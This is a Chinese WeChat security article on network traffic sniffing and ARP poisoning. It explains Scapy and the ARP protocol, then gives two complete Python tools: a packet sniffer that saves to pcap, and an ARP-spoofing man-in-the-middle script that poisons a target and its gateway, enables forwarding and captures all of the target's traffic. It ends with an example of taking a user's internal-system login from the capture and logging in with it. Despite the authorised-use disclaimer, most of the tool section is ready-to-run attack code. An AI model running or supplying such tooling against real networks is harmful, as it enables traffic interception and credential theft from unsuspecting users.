免责声明
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
总体概述
随着信息化的日益发展,网络已经成为人们生活中不可或缺的重要部分。
只要计算机安装各类安全软件,系统打了补丁,策略完善、计算机真的就安全了吗?但也未必,这些只是针对传统的木马病毒而言。在流量(通信)攻击面前,这些防护显得无能为力。
当与其他设备或计算机进行通信时就会产生流量,当这些流量脱离了计算机后,其安全就无法得到有效的保障,然后这些流量中却包含了你的敏感数据信息,攻击者完全可以在不入侵计算机的前提下获取你的敏感数据。
工作原理
互联网中的流量都是以数据包的形式进行传输的,流量嗅探是对数据包中的流量进行数据分析的一种手段。
所有通过网卡的流程都是可以被读取的,这些网络数据按照各种各样不同的协议组织到了一起,所以只要掌握了各种协议的格式,就可以分析出这些数据所表示的含义。
嗅探以窃取网络中明文传输的密码,监视网站中的数据流向,甚至可以搜集远程登录所使用的NTLM数据包(包含了登录的用户名和Hash加密密码)。
前置知识
python中Scapy模块初识
- 概述
Scapy是一个功能强大的交互式包操作程序。它能够伪造或解码大量协议的数据包,在网络上发送、捕获它们,匹配请求和响应等等。
Scapy可以轻松地处理大多数经典任务,如扫描、跟踪、探测、单元测试、攻击或网络发现。它可以代替hping、arpsoof、arp-sk、arping、p0f甚至Nmap、tcpdump和tshark的某些部分。
- Scapy基本操作
Scapy采用分层的形式来构造数据包,通常情况最下面的协议为Ether,然后是IP,再之后就是TCP或者是UDP。
Scapy中的分层采用“/”来实现,按照协议由底而上的顺序从左向右排列。
查看IP类的属性
ls(IP())
查看Ether类的属性
ls(Ether())
构造一个HTTP请求数据包
IP()/TCP()/"GET / HTTP/1.1rnrn"
构造一个TCP数据包
Ether()/IP()/TCP()
对相关的属性也可进行自定义设置,比如修改ttl的值为128
ps:IP()函数是无法构造ARP请求和响应的,可使用Ether()函数
- Scapy常用函数
send()、sendp()函数
在Scapy中提供了多个发送数据包的函数,send()函数主要工作在第三层,是用来发送IP数据包的;sendp()函数主要工作在第二层,是用来发送Ether数据包的。
send发送一个ICMP数据包
send(IP(dst="10.211.55.3")/ICMP())
Tips:send()和sendp()函数只是负责发送数据包,但是没有能力处理该数据包的返回包内容。
sr()、sr1()、srp()函数
在Scapy中提供了多个发送数据包的函数,sr()和sr1()函数主要工作在第三层,是用来发送IP、ARP等数据包的;srp()函数主要工作在第二层,是用来发送Ether数据包的。
sr()函数的返回值为两个列表,第一个列表保存的是应答的包和对应的应答,第二个列表保存的是未收到应答的包。
sr1()函数的返回值为一个列表,只返回一个应答的包。
sr发送一个ICMP数据包
ans,unans=sr(IP(dst="10.211.55.3")/ICMP())
ans.summary()
sr1发送一个ICMP数据包
ans=sr1(IP(dst="10.211.55.3")/ICMP())
ans.summary()
ps:sr1()函数也可用来测试目标主机某个端口是否开放。
sniff函数
在Scapy中提供了一种专门用来捕获数据包的函数sniff()
•count:表示要捕获数据包的数量,默认为0(不限制)
•store:表示是否保存捕获的数据包,默认值为1
•prn:回调函数
•iface:表示要使用的网卡或网卡列表
•filter:对数据包进行过滤
ARP函数
在Scapy中提供了一种专门用来处理ARP的函数ARP()
•psrc:源IP地址
•pdst:目标IP地址
•op:ARP类型,默认1 (1:ARP请求、2:ARP响应)
ARP毒化(欺骗)原理
- ARP地址解析协议
ARP(地址解析协议)是数据链路层的协议。
ARP协议就是通过网络层IP地址来查找主机的物理地址(MAC地址)。
同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。
- ARP表
Windows
arp –a
Linux
arp
- 工作原理
•假设A知道C的IP地址为192.168.1.2,然后A会检查自己的ARP缓存表中该IP是否有对应的MAC地址;
•若有,则进行通信。若没有,A会使用以太网广播数据包来给网络上的每一台主机发送ARP请求,询问192.168.1.2的MAC地址,ARP请求中同时也包含了A的IP地址和MAC地址,以太网中的所有主机都会收到ARP请求,并检查是否与自己的IP地址匹配,若不匹配,则不响应该ARP请求;
•C确定ARP请求中的IP地址与自己的IP地址匹配,则将ARP请求中A的IP地址和MAC地址添加到本地ARP缓存表中;
•C将自己的MAC地址发送给A,A接收到C的ARP响应时,将C的IP地址和MAC地址都更新到本地ARP缓存表中。
- ARP缺陷
ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而是直接将报文中的IP地址和MAC地址保存到ARP缓存表中。如果ARP缓存表中有相同的地址项,则会对其进行更新。因此,攻击者可以向受害主机发送伪造的ARP应答数据包,毒化(欺骗)受害主机的ARP缓存表。
实战工具编写
工具一:捕获目标流量并进行保存
#! /usr/bin/env python3
# _*_ coding:utf-8 _*_
import os
import time
from optparse import OptionParser
from scapy.all import *
from scapy.layers.inet import IP
os.system("")
banner = '''
_____ __ __ _ ____ _ __ __ _
|_ _| __ __ _ / _|/ _(_) ___ / ___| _ __ (_)/ _|/ _(_)_ __ __ _
| || '__/ _` | |_| |_| |/ __| ___ | '_ | | |_| |_| | '_ / _` |
| || | | (_| | _| _| | (__ ___) | | | | | _| _| | | | | (_| |
|_||_| __,_|_| |_| |_|___| |____/|_| |_|_|_| |_| |_|_| |_|__, |
|___/
Powered by superheiye v1.0
'''
#banner信息
def title():
print('�33[1;32m' + banner + '�33[1;34m')
# 时间戳转换函数
def TimeStamp2Time(timeStamp):
timeTmp = time.localtime(timeStamp)
myTime = time.strftime("%Y-%m-%d %H:%M:%S", timeTmp)
return myTime
def SniffCallBack(packet):
print("="*30)
'''
打印输出源IP、源端口、目的IP、目的端口
'''
# 判断是ICMP数据包还是HTTP数据包
'''
ICMP数据包
###[ Ethernet ]###
dst = 00:1c:42:00:00:18
src = 00:1c:42:59:1a:a3
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 20384
flags =
frag = 0
ttl = 128
proto = icmp
chksum = 0x0
src = 10.211.55.16
dst = 220.181.38.150
options
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0x4d51
id = 0x1
seq = 0xa
unused = ''
###[ Raw ]###
load = 'abcdefghijklmnopqrstuvwabcdefghi'
HTTP数据包
###[ Ethernet ]###
dst = 00:1c:42:00:00:18
src = 00:1c:42:59:1a:a3
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 40
id = 20383
flags = DF
frag = 0
ttl = 128
proto = tcp
chksum = 0x0
src = 10.211.55.16
dst = 220.181.38.150
options
###[ TCP ]###
sport = 53607
dport = http
seq = 2550136496
ack = 792492200
dataofs = 5
reserved = 0
flags = A
window = 1026
chksum = 0x4549
urgptr = 0
options = ''
'''
if packet[IP].proto == 1: # ICMP:1 TCP:6 UDP:17
print("[%s] Source:%s--->Target:%s" %(
TimeStamp2Time(packet.time),packet[IP].src,packet[IP].dst))
else:
print("[%s] Source:%s:%s--->Target:%s:%s" %(
TimeStamp2Time(packet.time),packet[IP].src,packet.sport,packet[IP].dst,packet.dport))
print(packet.show())
print("="*30)
def main():
title()
parser = OptionParser('python3 %prog -i <target ip> -c <packet count> -o <save pcap filename>')
parser.add_option('-i', '--ip', type='string', dest='ip', metavar='ip', help='specify target ip')
parser.add_option('-c', '--count', type='int', dest='count', metavar='count', help='specify packets count')
parser.add_option('-o', '--output', type='string', dest='filename', metavar='filename', help='specify save filename')
options, args = parser.parse_args()
# 构造流量嗅探数据包
#deffilter = "dst "+options.ip + " || ("'dst ' + options.ip + ' && icmp'")"
packets = sniff(filter="dst " + options.ip, count=options.count, prn=SniffCallBack)
# 保存为pcap文件
wrpcap(options.filename, packets)
if __name__ == '__main__':
main()
工具二:对目标主机进行毒化(欺骗)后捕获其所有的流量数据信息
脚本功能:捕获目标的所有流量后保存为arpspoof.pcap数据包。
#! /usr/bin/env python3
# _*_ coding:utf-8 _*_
import os
import sys
import threading
import signal
import time
from optparse import OptionParser
from scapy.all import *
from scapy.layers.l2 import getmacbyip, ARP
from multiprocessing import Process
os.system("")
banner = '''
_ ____ ____ ____ __
/ | _ | _ / ___| _ __ ___ ___ / _|
/ _ | |_) | |_) ___ | '_ / _ / _ | |_
/ ___ | _ <| __/ ___) | |_) | (_) | (_) | _|
/_/ __| __| |____/| .__/ ___/ ___/|_|
|_|
Powered by superheiye v1.0
'''
#banner信息
def title():
print('�33[1;32m' + banner + '�33[1;34m')
class ARPSpoof():
def __init__(self, target_ip, gateway_ip, interface):
self.target_ip = target_ip
self.target_mac = getmacbyip(target_ip)
self.gateway_ip = gateway_ip
self.gateway_mac = getmacbyip(gateway_ip)
self.interface = interface
conf.iface = interface # 设置嗅探的网卡
conf.verb = 0 # 关闭输出
def run(self):
self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()
def poison(self):
# 对目标主机进行ARP欺骗
poison_target = ARP()
poison_target.op = 2 #op:1 ARP请求 op:2 ARP响应
poison_target.pdst = self.target_ip
poison_target.psrc = self.gateway_ip
poison_target.hwdst = self.target_mac
# 对网关进行ARP欺骗
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.pdst = self.gateway_ip
poison_gateway.psrc = self.target_ip
poison_gateway.hwdst = self.gateway_mac
# 开启路由转发功能
print(f'[+] Enable routing forwarding function')
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("sysctl net.ipv4.ip_forward")
print(f'[+] Beginning the ARP poison... [CTRL-C to stop]')
while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
send(poison_target)
send(poison_gateway)
except KeyboardInterrupt:
self.restore_target()
sys.exit(0)
else:
time.sleep(2)
def sniff(self):
time.sleep(5)
print(f'[+] Sniffing start...')
bpf_filter = "ip host %s" % self.target_ip
packets = sniff(filter=bpf_filter, iface=self.interface)
wrpcap("arpspoof.pcap", packets)
print(f'[+] Got the packets')
self.restore_target()
self.poison_thread.terminate()
# 还原网络配置(恢复到攻击前的状态)
def restore_target(self):
print(f'[+] Stopping the ARP poison...')
print(f'[+] Restoring ARP lists...')
send(ARP(op=2, psrc=self.gateway_ip, hwsrc=self.gateway_mac,
pdst=self.target_ip, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
send(ARP(op=2, psrc=self.target_ip, hwsrc=self.target_mac,
pdst=self.gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
print(f'[+] Disable routing forwarding function')
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
os.system("sysctl net.ipv4.ip_forward")
# 发送退出信号到主线程
os.kill(os.getpid(), signal.SIGINT)
def main():
title()
parser = OptionParser("python3 %prog -r <target ip> -g <target gateway> -i <interface>")
parser.add_option('-r', '--ip', type='string', dest='target_ip', metavar='target_ip', help='Specify the destination IP address')
parser.add_option('-g', '--gateway', type='string', dest='gateway_ip', metavar='gateway_ip', help='Specify the gateway IP address')
parser.add_option('-i', '--iface', type='string', dest='interface', metavar='interface', help='Specify the interface')
options, args = parser.parse_args()
arpspoof = ARPSpoof(options.target_ip, options.gateway_ip, options.interface)
arpspoof.run()
if __name__ == '__main__':
main()
举例:目标用户登陆某内部系统
运行脚本进行捕获用户输入的账号密码信息保存为pcap数据包
利用Wireshark工具分析pcap数据包后获取用户输入的账号密码,利用获取到的账号密码即可成功登陆系统
技巧总结
目前大部分的网络安全机制只是针对外部攻击的防御
对内部攻击的防御往往做的并不是很到位
在网络内部进行嗅探和欺骗的成功率会很高
群内不定期更新各种POC
原文始发于微信公众号(道一安全):Web安全攻防之通信安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论